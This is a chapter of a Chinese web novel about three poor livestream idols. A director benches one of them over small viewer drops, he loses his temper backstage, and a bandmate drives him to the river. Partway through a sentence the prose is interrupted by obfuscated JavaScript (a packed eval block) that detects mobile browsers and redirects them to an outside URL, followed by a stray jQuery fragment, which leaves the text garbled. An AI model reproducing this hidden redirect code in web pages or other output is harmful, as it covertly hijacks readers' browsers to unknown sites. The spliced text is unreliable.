时光荏苒，岁月如梭……好吧，事实上是煎熬地挪过了一个月。阿卡、徐柏，以及新加入的峰年，这三人组战战兢兢、勤勤恳恳（主要是被经纪人叮当响的罚款威胁逼的）地干满了三十个直播日，其中也才休息了不到三天左右的时间，但是这对前半生几乎全勤的徐柏和峰年来说倒是没有什么，但是对于前半生从未全勤的阿卡来说倒是个巨大的挑战。
结果，他们三个的业绩稳如老狗——稳得毫无波澜，稳得令人心碎。粉丝数涨速堪比蜗牛爬，打赏票数更是凄凄惨惨戚戚。三人过得那叫一个拮据，共享一份外卖都要精确计算肉块的数量，阿卡那辆二手跑车更是沦为了纯粹的摆设——毕竟油钱都快付不起了。
最惨的还属峰年。由于当初阿卡脑子一热买的跑车只有两个座位，每次需要集体出动（比如去廉价大卖场抢购临期食品），身高一米八八的峰年就只能发挥他作为前导盲犬的柔韧性，努力把自己蜷缩成一团，塞进那狭窄憋屈的后备箱里。
“峰年，忍忍，快到了！”阿卡每次开车都心怀愧疚，感觉自己在从事什么非法人口运输。
后备箱里传来峰年闷闷的、带着回音的声音：“卡哥……没事，这里……挺暖和的，就是有点……像在太空舱漂流……”
副驾上的徐柏则会默默补刀：“知足吧，至少比导盲犬的笼子宽敞。”
阿卡：“……” 他感觉自己的良心又在隐隐作痛。
这天下播后，气氛格外凝重。叮当响和大大两人拿着新鲜出炉的数据报告，脸色黑得能滴出墨来。
“说说吧，”大大率先开口，她的声音冷得能冻住空气，“这个月，团体打赏总额同比下降百分之二十！粉丝净增长，负五十！你们是在搞慈善直播吗？还是觉得公司的电费不要钱？”
三人耷拉着脑袋，不敢吭声。
“明天！有一场重要的男女团擂台PK赛！直播间的席位我都争取来了！”叮当响深吸一口气，仿佛在压制掀桌子的冲动，“这是我们翻身的机会！都给我打起精神来！”
第二天，擂台赛直播现场。灯光如一群嗑嗨的星际探照灯疯狂乱舞，把空气都照得滋滋作响。台下是精心调校的罐头欢呼，后台则挤满了补妆的孔雀和焦灼的猹，空气里飘浮着发胶、香水与梦想蒸发的焦糊味。
这是阿卡上台展示的第三个镜头，虽然自己上面的PK条并未有太多的变化。但是看着直播间上蹿下跳的人数他还是很欣慰的，起码能够有更多人看到自己。
然而，直到第四次上场，就被现场执行导演，就是那个戴黑框眼镜的年轻小伙，拦住了。
“阿卡，你等一下。”导演的语气不容置疑，眼睛紧紧盯着监控屏幕上实时滚动的后台数据，“下一个让徐柏上。”
阿卡一愣：“为什么？不是轮到我了吗？”
导演头也不回，手指飞快地在平板电脑上划动着：“实时数据反馈，刚才轮到你的时候，在线人数有一个小幅度的下滑。为了稳住巅峰的流量，徐柏先上更保险。”
阿卡的心猛地一沉，一股不祥的预感涌上心头。
徐柏拍了拍他的肩膀，没什么表情地上场了。他冷峻的风格和精准的舞姿，确实稳住了一部分观众，在线人数缓慢爬升。
轮到第五次上人的时候，阿卡再次主动请缨。他刚迈出一步，导演的声音如同冰水泼下：“峰年准备！阿卡你再等等！”
“又等？”阿卡的声音带上了火气，“为什么？”
导演指着屏幕上一个微小的波动曲线，语气平淡得像在念说明书：“看，刚才镜头又带到你了，虽然幅度不大，但确实有十几个观众离开了直播间。你的观众缘……可能需要再培养一下。峰年虽然舞蹈生硬，但他那种‘努力且滑稽’的劲儿，目前看来留存率更高。”
峰年顶着那头□□的霸总发型，有些无措地看了看阿卡，又看了看导演，最后还是硬着头皮上了。果然，他一上场，弹幕就开始活跃起来：
【哈哈哈耶耶来了！这头发是焊在头上了吗？】
【看他跳舞我好快乐，像在看大型康复训练现场！】
【虽然跳得烂，但孩子努力啊！赏颗糖吃！】
峰年凭借他那独特的“去油版洗洁精”气质，竟然真的让在线人数又往上蹿了一小截，还收到了几个小礼物。
阿卡在后台看着，心里像打翻了五味瓶。他为峰年高兴，但更多的是一种被赤裸裸数据否定的屈辱感。他就像一个瑕疵品，被公开处刑，连上场的资格都需要数据批准。“为什么轮到我上场的时候就会下人了？”阿卡想不明白，但是心中那想要出道的执念已经火热。
当女团那边又一位成员表演结束，轮到男□□人时，阿卡几乎是咬着牙看向导演。
导演的目光在阿卡和屏幕之间快速切换，眉头紧锁，似乎在做一个艰难的决定。最终，他叹了口气，还是指向了刚刚下场、气息还没喘匀的峰年：“峰年，辛苦一下，再顶一轮！阿卡……你的数据还是不太理想，再观察一下。”
“观察个屁！”
阿卡积压了一个月的憋屈、贫穷带来的烦躁、对自身价值的怀疑，在这一刻如同火山般爆发了。他猛地冲到导演面前，眼睛通红：“就凭这破数据波动？十几个人的进出？你就断定我不行？我练舞练到腿抽筋的时候你怎么不看？我为了一个动作抠通宵的时候你怎么不看？！”
导演被他吓了一跳，但很快镇定下来，扶了扶眼镜，语气依旧冷静到近乎冷酷：“这是直播，不是练习室。我们要对整体的流量负责。你的存在目前对流量是负面影响，这是客观事实。”
“客观事实？我去你妈的客观事实！”阿卡气得口不择言，一把抓起旁边桌子上的一瓶矿泉水，狠狠砸在地上，发出“砰”的一声巨响，“你就是针对我！觉得我拖后腿了是吧？！”
后台瞬间一片死寂，所有人的目光都聚焦在这边。音乐声、前台观众的欢呼声仿佛从很远的地方传来，更衬得此地的冲突尖锐刺耳。
徐柏立刻上前死死拉住阿卡，低喝道：“阿卡！冷静点！还在直播！”
峰年也吓得脸色发白，想去捡地上的水瓶碎片，又被徐柏用眼神制止。
导演的脸色彻底沉了下来，他不再看阿卡，而是直接拿起对讲机：“控制台，切二号机位，男团这边准备延时，处理突发状况。”然后，他转向闻讯赶来的叮当响，语气强硬：“响姐，你也看到了。这位队员的情绪严重影响了直播进程。基于数据和现场状况，我正式建议，本轮擂台赛，禁止阿卡登场。否则，后果自负。”
叮当响看着一片狼藉的地面，又看看气得浑身发抖、眼眶泛红的阿卡，最后狠狠瞪了导演一眼，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513343|186185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深吸一口气，几乎是咬着后槽牙对阿卡说：“你！现在！立刻！给我滚到休息室去冷静！再闹，就不仅仅是禁赛一场了！”
阿卡像被瞬间抽走了所有力气，他看着叮当响，看着面无表情的导演，看着拉着他的徐柏和一脸担忧的峰年，一种巨大的无力感和羞耻感将他淹没。他猛地甩开徐柏的手，头也不回地冲向了休息室，重重地摔上了门。
“砰——”
背靠着冰冷的门板，阿卡缓缓滑坐在地。排练过千万次的动作在脑海里机械地回放，每一个甩头，每一次震胸，肌肉记忆精准得可怕。可偏偏，那些他倾注了全部热情的动作，在别人眼里竟成了赶客的毒药。
拥有和郭蕊蕊相似的脸却和他有着不一样的命。他曾千百次看过他的初舞台，郭蕊蕊是众人眼中当之无愧的c位，全场的目光都聚焦在他身上。而直播间没有真正的目光会聚焦在他的脸上，没有真正的掌声会为他响起，但他还是跳得那样卖力就算这样也没有人看到他吗？
“郭蕊蕊你不是说过越努力越幸运吗？”阿卡喃喃自语。“十几个人的进出……”就因为这微不足道的数字，他连证明自己的机会都被剥夺。指甲深深陷进掌心，留下几个月牙形的红痕，他却感觉不到疼。
再次回到练舞室，里面空无一人，手机里的舞蹈循环播放了许久呆坐在地上的阿卡久久没有起身。其实他又打起退堂鼓了，但是心中的执念指引他再次来到了练舞室。别人是天无绝人之路，他是只有一条绝路。
“走带你去兜风！”
徐柏那颗圆滚滚的脑袋不知何时从休息室的窗户冒了出来，像颗突然长出来的蘑菇。他见阿卡还跟丢了魂似的蜷在地上，二话不说，翻窗而入，直接抄起那人的手腕，拽着他就往外冲。
“哎你——！”阿卡还没来得及反应，就被一股不容置疑的力气拖走了。两人像一阵风似的穿过依旧嘈杂的走廊，无视了身后叮当响可能存在的咆哮，一路飞奔冲进地下停车场。
凉爽的、带着点汽油和尘埃味道的空气扑面而来。徐柏利落地把阿卡塞进那辆二手跑车的副驾驶，自己钻进驾驶座。引擎发出一阵不算悦耳但足够有力的轰鸣，车子窜了出去。
“去江边怎么样？”徐柏握着方向盘，目视前方，语气平静得像是在问“今天晚饭吃什么”。
阿卡靠在椅背上，看着窗外飞速倒退的街景，闷闷地“嗯”了一声。满腔的委屈和愤怒被这突如其来的风兜头一吹，好像散了些，又好像堵得更慌了。
车子很快驶上了沿江大道。晚风变得猛烈起来，带着江水的湿气，呼呼地灌进车里，吹得阿卡睁不开眼，也吹乱了他一早精心打理的头发。音乐没开，耳边只有风的咆哮和引擎的嘶吼。
“那个数据……”阿卡终于忍不住开口，声音被风吹得七零八落，“就因为我掉了十几个人……”
“嗯。”徐柏应了一声，过了几秒，才没什么情绪地补充，“数据是死的。”
“可他们不让我上！”
“不是往后所有场。”徐柏的语气依旧没什么起伏，但话语却清晰地在风声中传递过来。
“可是……”
“没有可是。”徐柏打断他，难得说了长句子，“峰年靠搞笑能留人，我靠脸冷也能混口饭吃。你呢？阿卡，你靠什么？就是那股要把别人跳死的劲儿。”